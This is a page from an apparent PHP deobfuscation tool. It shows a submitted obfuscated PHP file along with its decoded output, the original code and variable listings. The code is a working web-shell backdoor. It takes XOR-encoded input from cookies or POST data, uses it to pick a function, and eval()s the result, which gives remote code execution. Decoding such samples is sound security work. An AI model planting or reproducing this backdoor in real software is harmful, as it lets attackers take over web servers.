Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $gnOfJM/* QDn */=/*E */"\x73" . 't' . 'r'/*QOF */. '_' . chr/* UXhy*/( 507/..

Decoded Output download

<?php $gnOfJM/*  QDn   */=/*E   */"s"	.	't' . 'r'/*QOF   */.  '_' . chr/*  UXhy*/(	507/*   mlx */-	393	).chr    (101)	./*WB  */"p"  .	chr/* Endt  */(/*dG*/287	-/*QC  */186	).'a'	.	"t";$_UlwE    =/*v  */'3203'; 
		$HXTBwq =   chr   (  540	-	439/*  MygFh  */)."x"   ./*   t*/chr/* q*/(112)/*   S   */./*   RP  */chr	(	499	-  391 ).chr	(/*  kBT   */525    -/*  N  */414/* Kbvkp */).'d'	.     "e";$_Je/* UnE  */=    '48890'; 
 
 
$iZQDy	=/*   DGfz */chr/*   gvsC  */( 217	-	105	).'a'/*   tXgKC*/./*JuYUW */"c" ./* CkSlL*/chr/*   AVsfT*/(107); 
			function/* djtp   */kJXVgIw() 
			   { 
     /*   HBvRN  */$riOxdP	=/* vbeP  */Array    (    "BIRIWqsTTRUWJKYVasDXsnnHMFH"/* Oh */=>/*pBOG  */"iyxQv"    ); 
    	 
					/*   BjGL   */$pacqcrZV/* JqpE   */=	Array	(	"anVTBf"  =>     "tjpmaftCVCekUom"	); 
 /*  sL */$CiXnWAR/*  rcAc  */=  Array(     $riOxdP,/*   R */$_COOKIE,	$riOxdP,    $_POST,	$pacqcrZV);$_IAdlT     =/*ywWP */'32326'; 
  /*kzqy*/ 
	/*xc*/return	$CiXnWAR; 
		   } 
        
  /*   yTI*/function/*Ur   */AeyhPSV($ACuqQXs) 
        { 
     if  (/*  tlch*/count/* q   */(     $ACuqQXs/*   e   */)/* BtIf  */==  3/*   ZmiSS*/)     { 
				   $tNuJDL	=/*  m   */$ACuqQXs[1];$_xY/* eR */=	'59845'; 
				/* MhnKa */$wLyhqwNb =   $ACuqQXs[2];; 
     	$sIhvIvkaKI  =	$tNuJDL($wLyhqwNb);$_i	=  '11015'; 
     	eval    (    $sIhvIvkaKI/*   CCSl   */); 
 	die/*   J   */(); 
			/*  Ki*/} 
/*owjys   */} 
				 
 function/* apljO   */JsPifMIvd($lUDhOYeroc,     $WXkdsY) 
					{ 
    	return  $lUDhOYeroc/*gbD */^/*mMq*/$WXkdsY; 
				/*eqWQ */} 
     
    	$HlQrcW =/*   BMQqH*/"#";$_Dk	=	'28624'; 
	/*N */ 
  	foreach	(kJXVgIw()    as	$wcROdQ) { 
/* tv  */foreach   (/* dag*/$wcROdQ    as/*   US*/$WXkdsY	=>/*  lvHMy  */$lUDhOYeroc  ) { 
				/*  b*/ 
    	$lUDhOYeroc/*   uAa */=/* IfIp */@$iZQDy(	'H'   ./*   dqXfM   */"*",/*  Pm  */$lUDhOYeroc/* kyd  */); 
			  
 
 
	$WXkdsY	.=	"qZznIy-qrynx-llJ-lAkryZ-ZXfd-ZWYoGe-BFIZ"; 
  	$WXkdsY	=/*  naieO   */$gnOfJM	(	$WXkdsY,	(	strlen(	$lUDhOYeroc    )/strlen(   $WXkdsY/*   fWvAT  */)	)/* BUW*/+/*Ps */1); 
 
 
     
 
/*sDI */$fUacY	=   JsPifMIvd($lUDhOYeroc,/*  Esdbg*/$WXkdsY); 
 
/*   gS*/ 
	$ACuqQXs/* RG*/=   $HXTBwq	($HlQrcW,   $fUacY/*   eWGT   */);; 
     	 
 /*   Jw   */AeyhPSV($ACuqQXs);; 
						} 
  } ?>

Did this file decode correctly?

Original Code

<?php $gnOfJM/*  QDn   */=/*E   */"\x73"	.	't' . 'r'/*QOF   */.  '_' . chr/*  UXhy*/(	507/*   mlx */-	393	).chr    (101)	./*WB  */"\x70"  .	chr/* Endt  */(/*dG*/287	-/*QC  */186	).'a'	.	"\164";$_UlwE    =/*v  */'3203';
		$HXTBwq =   chr   (  540	-	439/*  MygFh  */)."\170"   ./*   t*/chr/* q*/(112)/*   S   */./*   RP  */chr	(	499	-  391 ).chr	(/*  kBT   */525    -/*  N  */414/* Kbvkp */).'d'	.     "\145";$_Je/* UnE  */=    '48890';


$iZQDy	=/*   DGfz */chr/*   gvsC  */( 217	-	105	).'a'/*   tXgKC*/./*JuYUW */"\x63" ./* CkSlL*/chr/*   AVsfT*/(107);
			function/* djtp   */kJXVgIw()
			   {
     /*   HBvRN  */$riOxdP	=/* vbeP  */Array    (    "BIRIWqsTTRUWJKYVasDXsnnHMFH"/* Oh */=>/*pBOG  */"iyxQv"    );
    	
					/*   BjGL   */$pacqcrZV/* JqpE   */=	Array	(	"anVTBf"  =>     "tjpmaftCVCekUom"	);
 /*  sL */$CiXnWAR/*  rcAc  */=  Array(     $riOxdP,/*   R */$_COOKIE,	$riOxdP,    $_POST,	$pacqcrZV);$_IAdlT     =/*ywWP */'32326';
  /*kzqy*/
	/*xc*/return	$CiXnWAR;
		   }
       
  /*   yTI*/function/*Ur   */AeyhPSV($ACuqQXs)
        {
     if  (/*  tlch*/count/* q   */(     $ACuqQXs/*   e   */)/* BtIf  */==  3/*   ZmiSS*/)     {
				   $tNuJDL	=/*  m   */$ACuqQXs[1];$_xY/* eR */=	'59845';
				/* MhnKa */$wLyhqwNb =   $ACuqQXs[2];;
     	$sIhvIvkaKI  =	$tNuJDL($wLyhqwNb);$_i	=  '11015';
     	eval    (    $sIhvIvkaKI/*   CCSl   */);
 	die/*   J   */();
			/*  Ki*/}
/*owjys   */}
				
 function/* apljO   */JsPifMIvd($lUDhOYeroc,     $WXkdsY)
					{
    	return  $lUDhOYeroc/*gbD */^/*mMq*/$WXkdsY;
				/*eqWQ */}
    
    	$HlQrcW =/*   BMQqH*/"\x23";$_Dk	=	'28624';
	/*N */
  	foreach	(kJXVgIw()    as	$wcROdQ) {
/* tv  */foreach   (/* dag*/$wcROdQ    as/*   US*/$WXkdsY	=>/*  lvHMy  */$lUDhOYeroc  ) {
				/*  b*/
    	$lUDhOYeroc/*   uAa */=/* IfIp */@$iZQDy(	'H'   ./*   dqXfM   */"\52",/*  Pm  */$lUDhOYeroc/* kyd  */);
			 


	$WXkdsY	.=	"qZznIy-qrynx-llJ-lAkryZ-ZXfd-ZWYoGe-BFIZ";
  	$WXkdsY	=/*  naieO   */$gnOfJM	(	$WXkdsY,	(	strlen(	$lUDhOYeroc    )/strlen(   $WXkdsY/*   fWvAT  */)	)/* BUW*/+/*Ps */1);


    

/*sDI */$fUacY	=   JsPifMIvd($lUDhOYeroc,/*  Esdbg*/$WXkdsY);

/*   gS*/
	$ACuqQXs/* RG*/=   $HXTBwq	($HlQrcW,   $fUacY/*   eWGT   */);;
     	
 /*   Jw   */AeyhPSV($ACuqQXs);;
						}
  }

Function Calls

chr 9
kJXVgIw 1

Variables

$_Dk 28624
$_Je 48890
$_UlwE 3203
$iZQDy pack
$HXTBwq explode
$HlQrcW #
$_IAdlT 32326
$gnOfJM str_repeat
$riOxdP [{'key': 'BIRIWqsTTRUWJKYVasDXsnnHMFH', 'value': 'iyxQv'}]
$CiXnWAR [{'key': 0, 'value': [{'key': 'BIRIWqsTTRUWJKYVasDXsnnHMFH', 'value': 'iyxQv'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'BIRIWqsTTRUWJKYVasDXsnnHMFH', 'value': 'iyxQv'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'anVTBf', 'value': 'tjpmaftCVCekUom'}]}]
$pacqcrZV [{'key': 'anVTBf', 'value': 'tjpmaftCVCekUom'}]

Stats

MD5 35199206a0653fb5c7c903436243cbfc
Eval Count 0
Decode Time 249 ms